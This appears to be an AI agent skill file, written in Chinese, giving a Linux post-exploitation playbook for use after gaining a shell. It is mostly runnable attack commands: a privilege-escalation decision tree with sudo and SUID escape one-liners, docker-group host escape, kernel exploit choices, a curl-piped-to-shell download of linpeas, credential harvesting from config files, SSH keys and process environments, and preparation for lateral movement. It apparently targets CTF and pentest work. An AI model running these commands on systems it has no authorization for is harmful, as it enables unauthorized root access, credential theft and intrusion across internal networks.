| name | post-exploit-linux |
| description | Linux 后渗透全流程:信息收集→提权→凭据收集→横向准备。当通过 RCE/webshell/SSH 获取到 Linux shell 后使用。提权覆盖 sudo 滥用、SUID/SGID、Capabilities、Cron 劫持、PATH 劫持、Docker/LXD 组、NFS no_root_squash、可写 /etc/passwd、内核漏洞(DirtyPipe/PwnKit/DirtyCow)、组件提权。无论当前权限是 www-data 还是 root,都应先执行此方法论。任何拿到 Linux shell 后的操作——提权、找凭据、找 flag、准备横向移动——都从这个技能开始 |
| metadata | {"tags":"post-exploit,linux,privesc,credential,提权,后渗透,凭据,suid,sudo,cron,capabilities,docker,kernel,snap,GTFOBins,linpeas,linux提权,linux后渗透","category":"postexploit","mitre_attack":"T1003,T1053.003,T1547.006,T1070"} |
Linux 后渗透 & 提权方法论
获取 shell 后的完整行动路线:信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。
⛔ 深入参考
内容按需加载——SKILL.md 给你决策树和快速命令,references 给你完整 payload:
Phase 0: 30 秒快速提权判断
刚拿到 shell 时跑这几条命令,快速判断有没有"秒提"的机会:
id && sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | head -20
getcap -r / 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
秒提信号:
sudo -l 有 NOPASSWD 条目 → 大概率能提(查 GTFOBins)
- 非标准 SUID 文件(不是 ping/su/sudo/mount 那些) → 很可能可利用
/etc/passwd 可写 → 直接添加 root 用户
如果这里没有明显突破口,继续 Phase 1 做完整信息收集。
Phase 1: 系统信息收集
id && whoami
uname -a && cat /etc/os-release
ip addr && ip route && ss -tlnp
cat /etc/resolv.conf && arp -a && cat /etc/hosts
ps aux
env | grep -iE 'pass|key|secret|token'
关键判断:
- 多网卡 = 可能是跳板(双网段 pivot)
- DNS 指向内网 IP = 域环境
- ARP 表大 = 活跃网段,值得扫描
- root 进程的命令行可能暴露密码/路径
Phase 2: 提权决策树(按成功率排序)
当前权限?
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查:
│
├─ 1. sudo -l
│ ├─ (ALL) NOPASSWD: ALL → sudo su(直接 root)
│ ├─ 特定命令 → GTFOBins 查提权方法
│ ├─ env_keep+=LD_PRELOAD → 共享库注入提权
│ └─ 无 sudo → 下一步
│
├─ 2. SUID 文件
│ find / -perm -4000 -type f 2>/dev/null
│ ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
│ └─ pkexec → PwnKit (CVE-2021-4034)
│
├─ 3. Capabilities
│ getcap -r / 2>/dev/null
│ └─ cap_setuid → python3/perl 提权
│ └─ cap_dac_read_search → 读 /etc/shadow
│
├─ 4. Cron 任务
│ cat /etc/crontab && ls -la /etc/cron.d/
│ ├─ root cron 执行可写脚本 → 替换脚本内容
│ ├─ cron PATH 有你可写的目录 → 同名脚本劫持
│ └─ cron 使用通配符(tar *)→ 参数注入
│
├─ 5. 可写文件/目录
│ ├─ /etc/passwd 可写 → 添加 root 用户
│ ├─ /etc/shadow 可读 → john/hashcat 破解
│ ├─ systemd .service 可写 → 改 ExecStart
│ └─ root 进程的库/配置可写 → 劫持
│
├─ 6. 特殊组
│ ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
│ ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
│ ├─ disk 组 → debugfs 读任意文件
│ └─ adm 组 → 读日志找凭据
│
├─ 7. NFS
│ cat /etc/exports → no_root_squash → 远程写 SUID 文件
│
└─ 8. 内核漏洞(最后手段,有崩溃风险)
uname -r → 匹配 CVE
PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)
→ 各步骤的完整利用命令 → references/privesc-techniques.md + references/advanced-privesc.md
sudo 提权 Top 10 速查
| 命令 | 提权方法 |
|---|
| vim/vi | :!/bin/bash |
| find | find / -exec /bin/bash \; |
| python3 | import os; os.system("/bin/bash") |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| env | env /bin/bash |
| less/more | !/bin/bash |
| tar | --checkpoint-action=exec=/bin/bash |
| nmap | --interactive → !sh(旧版)/ --script |
| bash/sh | 直接 sudo bash |
| systemctl/journalctl | 进入 pager → !/bin/bash |
完整列表查 GTFOBins
自动化枚举
手动检查完没发现明显路径时,上自动化工具扫一遍——它们会检查更多边缘情况:
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linenum.sh -t
./linux-exploit-suggester.sh
投递工具到目标的方法 → 加载 tool-delivery 技能
Phase 3: 凭据收集
提权成功后(或即使没提权),尽可能收集凭据——这些凭据在横向移动中价值极大:
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/
cat /etc/mysql/debian.cnf 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
→ 更多凭据位置 → references/credential-harvest.md
Phase 4: 敏感数据搜索
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
Phase 5: 横向移动准备
ip route && arp -a && cat /etc/hosts
cat ~/.ssh/known_hosts 2>/dev/null
收集到的凭据 + 发现的网段 → 加载 internal-recon 技能做内网扫描 → 加载 lateral-movement 技能做横向移动